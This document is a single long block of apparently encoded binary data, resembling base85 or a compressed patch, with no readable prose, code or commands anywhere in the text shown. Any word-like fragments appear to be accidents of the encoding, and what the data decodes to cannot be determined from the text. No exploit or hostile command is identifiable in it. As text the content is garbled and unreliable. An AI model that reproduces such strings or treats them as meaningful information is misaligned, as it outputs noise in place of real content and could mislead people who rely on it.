zT1Q_>_ptLaRf;sJ9Uy`0|HzNCxtdk(NsY#bDT(Dm*FF%XKk&Ru41VS1Co4LT)UWd7 z+(>GQw?KH9NaV=YvWobK?RoBNq_>Nn=f^I1oX}bM;*oT##>YqhoQSNLS2SN&-7j8w z{-6TP>MBN?jKf6!me1~`ICvAF{U8`r+h4k~YFg>8D&p;+% zbNehmw&#iwFoW?8n4q2+9|eF~&uroc)L<9+L2I`2EiM6xkN*0*Op#atP`-k9 z?&BbdDlUr7AsE!zMIH38Gg69qt_kdqY+hGD*hrK12>mj^~g_-GP|xZuz9O`d%bVM^qZ-zj>QU%t+{ zhqACTf|}3<;73}=kbHcyx$7H^>in5e$<7%b1IJwovw3&+mxrlb6-D*0YGG zY-x(^@w{VX5{PR&+3s_L&a=C;uL&WaieBI)U3AOcxGRq=>yCL zp9=qEe#C>`^ql_i!q(zKY=yYPCDq&c{pC!=EvRm(>MAgR)|k|F*}OnNtZW)-Bo3n6 z!}ixoyvTnK?B<-@ei^;Abe~|nBFzkFs3&V}lx7;&r$O86{DuiBN6Akc_X&0?7=O1g zmK#oQvRB6UWt|#7Ea4&%`cIknY0judmQc%#szWmx9?T2#x?bgC0 zlosFH+ujncqeIC2t>^Q-<;VoB-)^KDotDpCm zZ{wmb`w%YVeZq-MWTg$?#8DK6O1YYeFU0 z`BG7yMh%NiXxbAUA6(F<@zC|ru|$o0d6p-%U~7tC`+}E)BVW1e{E)SHkF|IucT6s4 zBFNxZw>!BPyon^7y=VBI)LA5MTd>H3sM{~|O>+4#e_%*;c9ykPe?|a>acT-7#7`a;bsVPj4 z2JnVcL zCz_7-#-xq-;mtHB5Cvwwwk}qL-{&s$y^EM;G4h7 zJ{qA#GE-Y3B~$sE7+COWXu+EyI~iD#9i(-lNGs)pTa66UT70@_hHqz=sbXn?%%Wox zc`u|_hZ1wgZqbG;U|s}A?vJjL*)L@WTIQBqB_}lE59&c8LSXD^JU8+j9J$SEu4Ei! z7Rk5?Bi<&zx@Wp^cA!(@A16LJfW+~`L(B!t@x$Yyt?|Rv(V6kXk?2kF!&jn!1dfOw zo*s?F56=Km9=g5%^r0L^7_R1oW{x#&?_*{Ofo4l^`}wgAQt^HJXWM% zWa_)0liQhrqozd{jJhTI{ZV&B?;kbCYWg1Kj+$aM&6Fy;TN60CCMkM}0$Z*2=!zB| zlMfRoEf&CN&w>kHsT%oKtf;YKQnaA4Vr&9GR@ynLB>yPzeYu@PpNVbvK54=_1}4vAS-6wqVd z&h9EgmKCa%O@Hsp(xBZ;9Y(uRs$>TBsq%keHC@U#CPQqBw5xCY$gHS`#>J{5q--N4 z3>B;-ipQAYcE}>vNS!1Lwf~ugU(L0zvrYpF)&uE2s%?Ej@(>RZ8Yy|=NA9qG7=re; zn&$PA*E%e_c#R*KhPfXx)&mpt_2zr8jUTxsS_!nQW++u={DGjoIye#~x1C-AI8)|m zsO0J}=w9HLSuDUgIhh)tn85y=2nbOm8K~Z9% z?nQx?QK(HCq(_6h9Ivo%KPi2X6G13k=he@dfnw9*=;9Q#zA4%#p02W*zsXw< z2wb6nG~<1I_qoFIrXHh`>3dgauQW}Ps~Q!ArybLrc;~QKbp~$77k%7-f2rut*oI{U z3uM|B_of4#Lt}%x+8y(-P2i5))cYIS(G3QL`mJ3_qqqL|+Yn4E$>eipm}Xc_F-5J~ z%Mr)ara=GZECcif?3CTOCZ1M57dvp^aK>mBs*J@j%2@y_BAadVL?t{7>_hfrx(i#+ zM@l#$H`tSQq}PQOY(gh9#DojAnl#Q$*RU6yNbY5YGM^!@n}06DnqHfHNCx{z13DWy z@-WM&zQ&Kltfmr;0iPdb?-m@3${WbSTAYjhMf2Sr&>(mNd=ki6)54SBl;*#ZHp1r6 zK}E^Oc+u0dq}XQ)S||vLMawL~n72Qb9ibC~bK+^PDZr-CAnzBuLE;?5%XIfp$>t&y zzHBZcse;p;L&3CrPIP<-l-|e-HU?3zR+Dpd<#Trsla$LRGIfChP~PZK#ly!`k!;XS ztH-c_gZiR}k5=yY{aC7&Q6L+}6xlQ~RVGiPf-e>9r{GMA?mkHK@@Za9FrLnyCrz9q zP25ee%ts)g$&Ihe2KV2~Zw}juyrZOQ%w0tyS}SVVlLf^EWU>kf^$Hn@f!TK*-O<8Q zMT4>hahr&7RpP{0wBEjx6NOWZ51>8FvY@MM#`l>8nC3iGp}KZCHJ_ zfvd7JREF#Uy>(+SsNalnt#stNr?Nxhy~`cuXO(hd&%&P}SoZ0XMYOzWkJYT?5QBIV zQ!!dAE0TMS8f2@snqDFe+g&UWPghupHN1t}-^)$S&6N5jxUaAKQcLB$!CY#AJdlP*_#5^^KYb!mhmCeJo|9`{Ws#D^rk6Qhcg2&dr{(Y zxY3Sq?x$hMPw9w^Y%iI3(eRhr^flVlJqMD7$4@d{`!dTmJHE>9${CGNMYLopYf$=q z@byex$&YzQP&QYfCsy>b1cnRrh8gG`xZObSr~2)VSbv3{%oG7$IFYwFF(NA!$bjP4 znml?dgymcV1=K8=O>@&lf98|a^sfOCy>yFEjs@aGh2Kwfv7tll-^B59*@DS2RJ zx>9z;Fq6x0L;j<&e(*D~+Zyl5zCCvHf?Uvhv^KdIgn_T1Z%FH9q?imReH{{fT&U%Q zbkRbJH{ycS#iW9}?@IO2CDi;p@W@IH6m%tARfn^SSQ0{D?MOW>6f~na9X%Z36tl6M zfs}ld$8^z1N~TGtb2upgL_qR#%qzHkWP3En{tOG{%Yx9Oa(2|4q;4|Cr~4?uoFXW5 z>HHr5iT27=zswdD6fxRDWpIUK9wmyQl<_#*3t~OtgpX0~M}UQ?U>hQEIVk(-3{rjd zfzf5uBMkirk*n8#Yb@iByw+x zNhAB=9CPK1&D-vc^pr(r?#U5_I;3u|1QsOaQV4rzV8O=p2B(>p#xFyH-Mr_%_hlxQ z_0XxNM5C_?GnbKVX37g52uM>+p>q39ezjbzLzA;lNLA2^5esVA>7*vAIg4tLJ5f^% zW1z^bw7gc{jZlfM`65Z!HZwrf`E}JG8}Mgo^hMHBtwA%W`oHN;(=$$4i7m%=G!tqJA%m{fhgD`PB&e&Gaq ze6qRu_WwmrGk0+23Fm!bx@BtqKpyga7^mzHT7_qn)K^>gzML-Fc?-+0f)p{Yf9<_; zB;XCST)OmRsR$WOKxW+fH+8%xirXASYI-(yt(?vU=-6!=yE?{wj0hz5i`hRy-6Gt^ zfH%Zt({q$|_6dgd=42)}-Un~m&^GD&W*4N3KBEbGnwOfcvyJ1rt=P>F%V~3Im|fvS zDXM^Tdy%YeaxP7hwdh$AEE__}tzM4GZWND5Ijz0@yXTGmiY)y!ORLm$j&$v~6~V#b zMSFGCog$eFfiWg2b!}4HddzQtEWoG`U_3`UW^Lfc8-Rq&+2bTri)2~ao@-z1l1x2H zj9l!rzec3$h@X(ZhU`6Lg#daxgqLnkQ8gS9vN!Nj#@`hFYWbTe2Z%_aHcc1SGjpJ> z^|~jIbKcNpoE+bWiv6EOw+9wnO2&$io#H2q`m>~-6BvnM_aI3F?q~!C)u6QUb(q3q zlZkS$A^xm|OJIHzm+u`l;d9gO$InDav-$2$@)AxaFyfbJu{gBsq=UA)hWPPZDtJjCit){3x zOtPAupwID6C|^vKc=%TIlz8X2t)|;JVTyOc{wMjKqTaWD+I2g{w9aG zuSX}#!E9wP2is7ZhAsL#{ZMCiW?hIh;NX_W>CHmo?Um-aQPOPv2$VUI`i&dqyvL& z)T?y7^CoNIMg{-P)&rlBKi+wZ)${`8#5-@dny#0z?!3dCKEyjAW#gT2RJn9G-U&w~ zv_iadj@8^s8KK0KCsJ3ZJL)ShVvpts9QO6o@X!t6t%s7|;XAMp7`)b@Fi7=HcLXXf z;?CD}I|=s>-H^mfzi>b!l&1s0R`3}{jj>{38hhQUrg!fCS}-y8DvTs<%GVQQWcsA~2IDWHODZ^7W`;GhxBTSK>QilBCc~7vP{QDWRleu|!a%flwe`Y% zovBm6b^H`+T(9anp7VnCeVy26YE(hB|HwRV_~08-jn@?2M~j}BV=F;2qRRjIJg-Z< z6zZ@Aa}Yak@V1&P-oJZJ|Wv-(TA=0 z=Kug=qEDm044DxxWQH7ElUruy{0@OHT+x*Bwq-KI1Z;i^H}l3$&hsQD_DWqDD+n~E zZ;oA|XA!B({9COFTjziATQWnEjJS7r;&0c>WUqq%YevpDMjjOOgLmczd2F|?W*^Jh8;hm%SQjOn85u* zh?tefFHaow=I3{CapB`4ZnUVKV( z0@5;I5|HD|>A|5N4gHuD`Oq1xL@c@2+B^P=FC!I~38p4?l*I0IPJ<37sW*BGVcszr z%J6Y1+g2qAD2j%ObMLqDp%S!@fU`KYVX4cMps0r6QWjlSdNX(mbD%`4|M<_bZy3MvELn>AaQ$uXSIHEwqFGRk{ zY<1=90wWJu%_Cs0%hMt8Y;mbhtj^w?mh!|sFIpsok=Za66EVN4qaz5XM@tE3L}kX^ z6?;O4x?k$?#!F}5;2^z5Uh`8wW11GGeoW{~B^LCONDF!YfW~{XN5BUFIE_l)&Z0ot zFY&{>;{RbKua$V@%EGmc0^g03U$ESz@(WtKM1B#?TqwV6Q0MYnzK*FiHMyU$p=Cp2 zrv>d(6yc}+yJQhqi7ZkD?VTwrk^hkFi;2nMEdX?zd`-R$X{z~9K6LYi{JTPY3m^mF zBb~_$9(*NLFxJf;lKh$=`8$)@7Y$Oxpy)+}L!;*q4vU^dh^(o}l;BO?;}(^iX&$nZ zSYD?E9KDk_ny8%QwLFwdTU(9Xr#58o;*lZT%n!r)zOpjy6%tD`Iy{*I!L-ZpKQ>VP6z%LW*#>^3=>ejGlz-zcRZMDLF zao))7yzwv6vA%3F6*T9*)Nq%{nmssObmRumy)@ug(#U@AP!hw`jU>d;^wU2Cxm==e!H7VESMIzk==jDt-Wp zQux2NE`ETkjo}BlA6d_^M8^n*Nv1rLr~#_o@CIERfv^V|j$nrU8E+LXPq2LIzv2m| zZ8to@$xtK_|J%{+&>0t$kabkZ{!BRn!voa&Q&!VQE>qA#C#&O|nNZbu|7R+V62-nb z*23w~mx-#q%chW^-rs%~u3ZW)VI5gZR{zI*!3iWfhA)_I_yRc>gDa>K@#K1FE@cL? ziPVRmQ=L9c%sgC{dFYdQSe)Sso+Uf&SOyu8g{I37MGS8>^@Vs=#vsjxtc=0k`T%3_ zkv_l}yrT~=2Jewo`$qnzhsZC?!Rg8zM18&a7X!Bpex1dj&gABhGtSJ`ch zUTL_5*P^Q4sa(SKG!;Dfu5bzaW^t6V#&8Bz#AmpKN}dz3?BLdqWgAWXoBcTiNk!_X zum$HnZ`cAXDh*o@N!*#17RY8hak-B+2bT^b)IENNIZp^4SRJsM?xxXFv)77aN+X`8 zpxcx9PJstlt^7n@kn`Va`_!O+m;J?3K}}kq73%EKuTawmRueA5A*5dm*`J4@rGNAs zSKA$dkgy&Q#k@eph0)Vd4@wt3{!O62Its10Cdj>*=`|t$!MS_EB^Ajq#b@gEE|qqN z`Z-KT(ZuyC{gb$Ipy&uq6&NT)Lrux(MNrz)gpa1=@;xn6OKw7UNKn@_r9&ttT{K2& zT{*8m8E2&Mj_<0`B@8tgvJWJyS*(UOu8*&V5sAWx2vMMn$OZCo>CF@sggt$rkoaIC zoFlVfJ(0?h{E>M^q*o$^mK3JsCS^*VliZ1LfBEujDI*a+f#>F(>^zC!6Syb$zoy+2 zz|}sB!wR~G!GEe>dUJhcsjw_RCC`>NNjWlpB8_+Mdf%hOn>p_1;cILT^SM1*oIYg$f9{#cn` zW{gN;`7u+ai*ec5lX3afFfNl~1>DTw#3mTVC3HOF^7X`W!?y&#zCB;5?4EOSpaxWjlz0i_sxeAcM;<;4E073y4#;9Mw#cYh=HcYq}bF}5m z#HW%$7NLqR2X+*4Tq$O~d_T1lX4=zF1|@A5f6b|R|t5H7;81aZcd3xlEWLe11FbK{I9 zjIRH;?`0$3t&Rr-+R-n0YBmoR(lsQJ3-29O6*Uk*~>v1Z-CE&gy75 z-Z?!wav9Qjwyo$%@y@%f=6$@dVm|7Zlr0H+f&7wKf7y#AGC#RhKF2o}COgc7FZqI- z!Kx3&N0nR>JB8o5B{?u9r)h%9yprgwrMGlF z-@KGFJZS^**DZ~8Jx^FVr|Ws_Ql$tq&DXghOF2d0Wze3z3*t?Xp7S@TRGsP>HV*M8 zG^lWJf%>3*K}q?#dVkVtZWf3e9!|9;;=;pm5jUuQ^CTe3cx8CF!Nk_bj|_>O9+cYz zWHa{f$gG7C^ZpRDccuEn*#PaHd{OE_%`~{mKGkFj`CrpqBJ_bX5)KX!!x`ZQ9M0$$ z>rQ zdGa9gh~yWtk;FIVBtPXrl#6!B8t0FDTIJvlHfbk6fa_yrlVm*#2bV5dezgDvl}f`s z2z&E;qW%?oGhrPSLGBBCGfLPSAw-3}`G60~-pD)bjZg~5us57=prA1Y4yW6{Z!LB) zdfSI#a{8ju{jQ@9w9hvH&i1l5OLdy%OPTkL3Z=q3Bu~db_o+%QO~)9 zvPfEBMsK>O7O(m?@(h!f8I|dYqIcgWU~;t!BfRhBJz}3{x7XO8mZ;ybQc>g$9M~;N zmQ-Xk@|7KB5|!0g`MoHJSW7s!-RY!gttiOtrW9DKj57X4RmMkFf&f5Vrcn&q7NU|b zxYbq3mq)?ojo_MKx|ei5!n_cPSZPq}!=-hw6#`orWPgX%bQvi{JAd*4wDV7@M?HUL zFT#S^y}`VPeX&uhp?|8B2f*svley%3*}A_sG1d~*%ntr6pjj7w&7ti60l?t|p>o~bc&g2jlql(vR=-9p# z7mz@6aGu0#xNcu_+r8Xx{rO#i_)*VYeiF(Gz;I}dvwb6bKj10fhB?3kFN1Kz8L4iU z*}cOWP&Yu zC8=$qsNY{luzzL*&j;k(?Bzc%`n2fipAt;>77%}ha{eR7+Ox=+ulS>OZ^E0%<=)R{ z`GjM}1auP?9W`?H`T-jd8Y{a59CjxTTw`F-Z}W!#+k_->@_s)0B1V7vtfoKkIrt1E zX6bGr3F`eFv0EwSjp$9J>qELvqt}@aFVE@)_b6t4oD$aCFO%w(yDEv=W0)Fii75CZ zSaa3;@f-g7f{vQp*SEbD^bV+yh0Zxi=8#xq-oeu$YQ&`=hjvy+zJk zx67I9w`f}T=B2V7vx7N#E6nD_eVr`F4Wju!jKl~}l1~t2Ey;mntp(vwnw;cLL+rxO zTr4}SrYA}997;i`oCp#PCFU)0aVQkyxmSR6Rz_=NnNCB!5hNz36w{nrP|uJ#6vgM? zPHRbrQwW7DOHlJNbMi~lMch0}?wF&>^?K5goY7w=`Ai=Fnr*M7B~kw7=$Ugv zOGM7057Xf3{9O}RkP7j?{TZE+;yDVWk(588B+~krPJ;Si^S;=H2xuX=H&G+RTmx+$ zphf^IFaj921q|JgJOj|826N2HoM{OCBVDMufwqtoL@Bhe}GqbTfu0zl$N zr$_z4r9u=3>1p5i(YvC9lEREvCqgAy%Hp;OHGsXs*|ZUxy5eZNG(UKBb@B<`138;R zIiE;OauKiQWAZ0F(tar*-g!xEP&J^k$xHiEg z94?i1B}|1?*n}V~x?!0T%sjP=%9{wsqDz*|ai9KYMqn2GZI8kOM^~qM9c@FraZLs` zfsshz9t4TPhfK|whX}A``9u)dEod9LGB!k(&=z8(_p&!-j3YG8HI8_acvQmah&%-r zd=?s+ik+^`b8r|0jp9+sMFEUGyBnd$88EjeeBQ zMCSu&bC|_x%*83G(|LjoGYn^XwZ!o^%^7w9Ft9s?J)Ecnf-EcyzOAOK^35~}NuRNg z?h_I}^KbNH`qQ;qtrxA%f6fvOz<=I@+ZsyOPU3h^cwPGZY4Ksj)q}5YQj{a%B)zpZX)huRFs+3W~BA`~Nm=>OOt;;Hx z<&<1Y+K|0hWp@Ia=1(b&!@%j;NqN$30SQ~Zf3qP_`E%r|?~u#D2b zX$GfvMl<`*LkyTRgCOuv6=yHf-!f+>;m_0%$#WEmYJB?U4Y~>E-q+(uc)%cLsW^LJGY*GEIoyBnvhJ zy{>v&M>QM+!LP2z`3Z#Dmb24=c}DyV%pH75i3@naS6w`V>_ksF&HeYuCn0KZ2MyDSifxb-(s zzdL=tao$(J{eCghGyAuoKi#9*o)60Qyu(_u*|`(Y=&*c~k}B9(t>!nNdZcMWG>J$N z6>Ou?9Zt;1%3+UyVm{+8Y8A;In!{u0m^h;rcH9I63NN-{Od7@oxV-IYPsOwZZ&U_`GDaiRHp|Ir@a6&7VvhN753f zk{(5e6DWYR_e3wv;5XBC#6v~QYhCvHv9(9)rweXh*aqcVz9;mt(jOX^j4rbZuI_7{wle(kw}q=jMyU~C+u zm1Zo&DfdUlB;%iSZJCb%sEN4)8=smx0C?Bj0X1%sv`!P*XSa=R3t5h}b$F5(5rx85 z!_3Jr8)Jty;+;RS9AwPpC1qjka0$A)9!xk9%S;pMJ zYW^M(I%{q6ni)QyCnaO+n>(#$QGCzf4(l?(9Y$|34&l7kS?AB%_hx=T$P9wNHi zl!6a4`JkiCR_v+A04x86H`ui62OX`)pd!=bdcZwVKrWj!{Zi@U(Dv}7a@U7zS|Jk( z!V1%h8#83vv7MN8PWN)swo8G@ztev3oKE!a9?Mi`J2upzpt|n^flO<_bknUSS>ipd zEk^RrAOWSQ)qFNDvKqrOIMFfPaCuGPVrY@sqYY5j3Gf-1le!0HF;QZKakFcLabtH0 zBJAz~**o?SMy0MH?H7UEjQHm*KBCcR9|;jV4?C#goKr;!5oOO4f_w`J*kRK zAU2!5U`9z!>~@3aU%5`uW{}Q5}x_13KCLZ7Z+=;4aQ}6y@){k%Zfh;!@)XlnWZ|s8joZ`ILx!hYn+UNQ4snMd*XUk9j(dWod@6lO- zpCPuwk5DCkU{Hl}eWBnpC7dXrQ5-MaihDWtOM397BgJ2g{KGNTGUG}Wa@(0ifdMd{Q+i#Ih-4L4q1S(w zeN}$Mzinn;{KMz2i1@e6w1V8m6K^lA@^6^=megRkV|0MM0r#%AM-l~JeAtNyZ=Exf zRsyzjYKFE~+gl{&L1IMAZP|g6c4y$hEx24kC(i9&dhir_n;v|H^jXR)mh-yx(J|pT z?vO^g&XKZXLn^NtHFxm*yGH@#!dYj8>3}$gZRNVM3UQ7UwyIWO4FdutEYl$XiMFdL)We`O)6&bWUytLe{F5-V9Vug0& zvFUr%R()_gPjh&Zsshq#tZslQ8msH&fMYm-NsQTBeelz2f7`4QC;1ndt#e(t-<2tJG{m_vU&W2sLn_Kj1Es>xb;--!J+67H)CVy zfIsD;Td@Oc9fx@g3IdWx{O~-&!+~+d_s8m#%$`mTIZ(Px-@c`9N72C(5XShA>Nf%vAG|nkZ!NDc?mM&h+HoaWg;Hk!^p##~F`jamqWx1R9o*e|ulIC>yM^(#!an1Q zRRS+V1Re`BPG#;m$($b@LccF~pe;Mrud1o-?hAR$iIo~NuJhAH-;_3gY0OTh?@rGD zRK!Jj6|B#kuzyTpEIU@14K3dE7;pSL#h=8l zD8?;Qd+J%iDaZ>8CuRKU;Nb<^A{>zQE#DJ-VIbAnorAL)q3dU594OhrUi05i-=|73 zK0BB*|C97(`ci_Zy?t*Xh_ZBkI=c<$mcvBf&0bkKwaJH4ZtfaR-gD=Enl%1CIf+CP zTKbHv$mC#;3`xP;T+Swo1J&6#K&YI}rdwS;jbh6{Q<&`tCJx%|KMM}pmAfKjZwU@s z8*Kl=Gjv5w-Tu(f-DB*?)4q`P+n25Q&nP-*Z$MU5Q@3LK-h*4lG>2%)sbdm(y~2;C z`e?&&XyrBx2L_2C=d_zMMYmD(&=tYVg7kXsd9a?*bL`N=J~1&$1hTQfnTZT*jY-_fhw#vycfV{JwterI zvqMk&f{8KNVe-en$enj85O~-ZT*}Ut6&bpsd|P$<-W+EYD^p6&$vtWpE#c-ed&N-C zQ~dfn=bfwqa)BlQHvq*3DhszBKfE6B4$YXC0KzK!HGD(_pY>5VCQq`}`EYn@ulN~H zAo-O&pekMe!ee*Xox$yIhlcJA9^5|0p4{ZKH`^<=e-N}^4EEa^9JCU#k?j3rTKN>o zT@zxnmiOTHH#w!xo%gR3_)1&avE!F;xxn4V`6`-c_TBj}qFq`mC znTK3|9@bd}FL4>0UbEOW*t>PG59?rmMw2pw{iYTFh15x#WUyEM7Y6%wcd$eDrZ11T zjP@2rn{n9wroCZIVt|+3(G&D*LaPNQ+usyqe!qr@vu}ZfwJej7-tj~;(;Ii%S>HzJ~0b*+P9HG_!$p~%8j1Z?n zGCu#M!C7g)kra0uwr4nvG|lplK8$CJ#g!}H#@3uZl>O9MTP{MfIDa@&)?(iVH}Ai`RX*7`t!>7cct+_eV$ z0_wxuc)VR!Lxd*xfcHWcgxh3Y6WhAlY}OrZUdY1O6x{w+b^H(uqM94y|GRC@5b&X) zqgQYRS8&1RAaneeC5<%v^fsg_v^eN{|X_h+h^sn^@dt=;q=cIBD#DX z&U=JVTPp^b}iL+bBdTBtI;$V;4lRlb4DIHSEI!U`D)H*&7?l~`%eXEy^ z(;KwcRpqYBCfg)04dS-6s@%5RZ8WdnR%#6O>u8;XqwQ^y&w9QFwWU07E51%4_w%G- zRrZe7+$u_hx({l@+K+EoFIr5ys&hYzuSr|YD-in1jbgE{0WA7yudv(O-zsc(3V~2z z`Cx9 zI(lRC7>)YeL%D6ier?wBy%y!nT3_FK5B#EB)QWiRo4-Z?pkf7%6NG2=1+Tx6D|1vH zP~208aQ=sjpgNc&?=5gAiQxmpzUm9%D=HF`vO~&MK>g#ecWTK6_F+-XnOq|FP(Bo0 z_%CH|sDaj6kTuE|%^%e#>K)bh|6%W2;Hs*!|MxkE$Mwk-UzCrorbfQPM~3OtML?kt z3DBr4QNgfG39zi3x~7(97G*I`V?~YAm^O`-nZ41v#cHa8`5rAKOg~`g_d2)4el(f zX6bj)aW{8HPa)zPg_!pr zM^PLX9L0Xq@{43o%BgQIta=)V^GhvSW+8E)(1%p15Ua;{l?p7)IoK z5Rc2I!>Ktnbk3PQIEOLTp)}yIZ!li-a2;vRzFtJ&(H^gA%GKfJMu*zztA$a9Y_pzX8Z=P z?ayr6+i~Fsu^t}px@hm+CASjHDSg0fM1*c{?PgtCUF+VT9_tB z2Ef&`Fm}k60aT7S0dY5DyC$ADW9LlVjqCA@FVTN}9fm!zXnEY%am%iP)2}*Cz##$`O@d2*x=*?W+?M5tj8(B7p2G@{;LaN2^nM_!*Leyg!s2d71$R-bY4%#>? z?y)o4uX-*Hi`>q|!kB$?aL@x7@ye*EXCz+8CFz{=3=aZ7JU`NY#p zaZ6X>DdmYDz%SOW?ufhoDjR?HbjB}lhcE^EE+_ApOc{i@3+AL-&&54);5gttkn;S6 zZv4+#*q+jV?!J86>njTrz_Opuc4NxC=kga4X2|Hh)*I^a9fmSK}r1&-I)BeZv< zyuOd9)*qMh`u^=79hZhS$m^e`b$BUr$eYAD=z`?J7xCyBg|r|NWP*nlU4ruVIVl~U zr$u*OJ1P4ySBz)cn3TjCg?v>$0On3JJWmVBqMu6^Nj_?$pRhxIcB(|TSw zO+-W!2pLE!bq27BbH=@}u%o@2;S9>r{qb0A{2WDk#{O75;bEdJ&HZtVO@O7c7dm6u znU>36W9!oP^5co(ggNOQ&|u0RFwI^oh#1rCZK~&jOz!?;=A``lgI+bqzZk82P1nGQ zmeA7f=zJ8c<=e1m7Xb?9An$UJb-9?rn}(9GA8VQCta@(M_p4s9X&7aRQZHV|tf;x3K%tM#G*rI(BKJiD_}-dw*x|w=WtC zzs7%aA-=gn4XFa+(=B}Z;0etr?CRI&sWRjCPZUt0gg z(pqz6D$gh_#H#sD(?B3&bxKkOw#wk+wkd^pz>pZ`g%0(?;5fdt)YSc}-jSxV)~&%* z)?6fV=}R8OvhM;s{yQ~+Dk@$Zvua4jsyz3Qi`|%O!|EDqRqBAI+Hqf?Nqu!(+Nu{Q zo^^<4Rpb82OAj|y9KZDN;R<}_Ao^}NVh$Y>QcL$9m$Ci3=!}csNY1dj)$Yf-lI|<< z_S*?APX#7OF?_swf{Ak+D1<%t^%gRMK3$5XyxtYY{+{;4JXK6y_+9lvQ}@AkjN^WY zTfPxq*dwdSGC^RN;L_Mm|Bigb~NWRXi4>!c|k&$lTF@cCuja@r8n)IA<@ac0$` zY)sFpeQPJ6&pXFbI-FUxzri`&tlDGnm-20@%ZEj7l+zPkO}3GskAuX-ZN+w2%vr_k zM;GL^hU@A4#ac{{Eo^VEeA!op5Lncf9Jduyx=(`=dOPEYM7YqI&7tFHfnGAC+;Bc> z_x+E6#8}%9k*xS&#jM%S;oN^vL^5d;K?5FNR9GRa_AetNp0vLY;yJtsyIneCVvDLS zn&U(D|60R($VfU#Jh6ufSdk}&xM?m8B27YGzw+zm5}ugy6jg87&t*3f#_ft*b`K)M zB;W>Pp?g_P+)7%6v;hs&8wg_3^Z=lJj>mH5Ql>aBw=ta=bAe%s^NeE%IGK?P=Wv-Z z82%(PXoa3#yyG5w3*VE&i>%q06aBu4%Efy?SsGYW@;n)}L^5jQZXx}{{t7-K2&zN} z6Jm~UqWg^1-4Zg!_9%~AdNn$*FQtvUV8AsHN)L3sv3;p-dCj8ujHb>vq;>Pq7sw#g z6~+~xrx_Qxmd?S1WOjlv2i=G&qC~s%Gsec0_asVj%des`c=Z6B{&p#zpeh+lV-90F z)(iEi=tBGXZ+&FywS0$oc1Vi5*+$WVRRn+Blg_`tGOd-GisI?IIbV_pl^Q1MkDEbko43c=|um z{{H~9r)l7W`0tgGq)#!Mo3ZM3e5GgT2gpPWE1dtF|GQByEumTAnz-AxufosI1Bwv^ z=GPTdmL#Kn>#LZwBpIfmrsDJ^$*}S@6{jpoMnU&goU|nQ2f|NSl8jzAKApHE*@KTU zRrFkvOdn;ch+C43?DSQ{+8rNRpOPfJK%;){sJs#tZ1K+>RnGa(LAm~S9YqP${u-Mp zaP1LzK%jXwyB{lXxWEYl3k1#+xJ=+$fg1%rBk(nW^#VT^sIK97+yVy(94+uPf!P8t z5_qM+>jbV7xK-e50{061R$vV6uEEtq;2?pc1x^%ruE0`(K7qFiyjS4E0$&!mN8o1y zW0r^<1ttlcDDYf?6#|zDTr2QFfwcnn2>e{&VS&A`<#>h*^a`9VaFM_&fe#COO5hs; zKM|;wGQDmB#|S(_;JE_l3G@lPL*Nqv-w=2}VAL|E+h1UkzzG8L1(pc(3A|CDoq728 zfZ%lk>jfSb=w8n8j24(BaF)O;1>P#~K7l&~ej@OYK+knd?=*q41o{M43*0JD^I3fp zhr2;wslY;k4-0Je|6BH7Dey{x7YUp$aH7EB0zCpdR&)5z?`HUhz-I)y#oytz{C=;% zI)PgSt`~Tlz-0pG3!EnK41vi42Mg>gFiPNOzv1}m1=b1NDsY3qwE}MtxLDwPf#(XG zC~&C2V+BSD{HluM+aqwNzy~D#>jl3_;39#u1m+0z3LGpjL12`?Z*G@#39J+NjKIwT zs|DU9aIwIP1Wp&2A#kX`-U8hM8*k(I8U(&6@EL&*2wW$yQlRG!4tK5K6#|O{P7`>B zz+{0#1$GnIQQ*NfOfOmJ<_Mf4@G^l0J$MGczOcS_R%2}nrjRJM~ zPP?AN0h~u;cWu%6S!628v^SE9uyca;rk0r5|}OUI)Qfyd_dsK0{03`T+Q(( z2viyhqwR0z_g{(qe?wrRxa;(|g6fBJh0los`wMgn93xPNzfIyT6L^8ZjRN-w+$k_k zpbkG+;`avev4%bPItj!`30*#%bz#Gs1TGg?Cy=`6xO@WyjzQmr@G*j)EO?SYIs=*B zXUcmFztZJ9Q6L5d=oL1Xc;WPv8>*cL~(=K9zd@ zTY;vO*Ny`F3Vb`LJ+M*us1kUszZV|X%;2i=h1zsm`vA~N277EN4=oL6p;2?p0 z1$GnIQQ%=o|7QXZi2Xe%&=mKM0uu!G7dTYl7=d1a83OYK77DybV1>Y|1>Pp`E`b{a z)(CuA;F|(<{%w}}vrb@@K>hw>NymEv>jdr;_>{oS0`C*JPGF_L>jW+qIA7o_ff=`O zeisT{ByfembpoFe_@2Pe1-8GH!+Qjd7MLM$mcYdV?-KZoz&e4S2s|jzE%F#CFjwG} z0+S^EZUU9SdMPLUr5!v}pq6Wml*=~-ej-r6*KmAojF(N1c43(OGP_TYj}802OWeEP zmaqG3mq&)Hnkm2Suw}`!qfQ)i)f-(N?hJhGX@!~dFPk}UZjq;SX4%Y3iYtoC@Kj!2 zT;!=(;7RqAEu3F5_mX1IoQ3meSIk{7e>e*lQCEJ~-i|NnAj8D@3+K&)5sdNquJbMN zVQZ0fo$tD9echs?)6>(JFJF$Kr=%obj?brDD)EHmoU?r@R-KZRl#@f7c0Gx{6?mmo zVPRoONr}r9yQsAE^3qZl+7~YTVyT@`fO}xl=#qs4lSYRBcdn{f08f5b(j&}Y=@y3b z@QxxZ69Dx~kI{@2ui%yi)L*t?W*YZu^Z=`G8Y#PZQh&n1tJl+y5f}9^CzK z_s4xaZo06MT2VbSkq}%`2if#Jz=QoK!Yvth25!12JY7Ve-ccPi7&mrLsiC;fz{ILZW_PS%H+X2qOH@FgXcorrMMU2_TgTEyB2pH z?%lYf5T4e45KRwmx*8d%1c7dWM4K++EdzHlA-E_WqD$e37V$+qWe7bF+$n4lZZB@~ zUx>RDw+}akt;D?zcMa}Z+~43<2(M`p+CcwsB`|2tTcS-@FkfD{Ey8Vw11*vnwGBvS zba`-7*q_SRZqT4h^P%}8x^yMuF2L=@O_vwAR(-wKTgkB_h5g#SEb8yo|_zK)@<%@W# z#=QaeX55rd^|%{w)AtiSxHU~U*=3VpBK^aaz`)j9dd$FGf;*V6M9}f#F2G%idl7EB zJh+Kg5^gVU3Rj4`5_dK3&A7MWZoqv2cO&ir2uo#0(}a`FBSE4?m&g9^*o6$>CAf(` zUDZ#sJxl1vu+hV?S|BD%?5l1X*N>hut}oLB5`W3KiKY)XT`t@;xXFDjZsMITa<9Wp z?i+B|;HHb*3uiFh3^&KG;i9eVUMc((2&{ct{0r_D_|!e@?t9urVphA4V|qDHv3srH 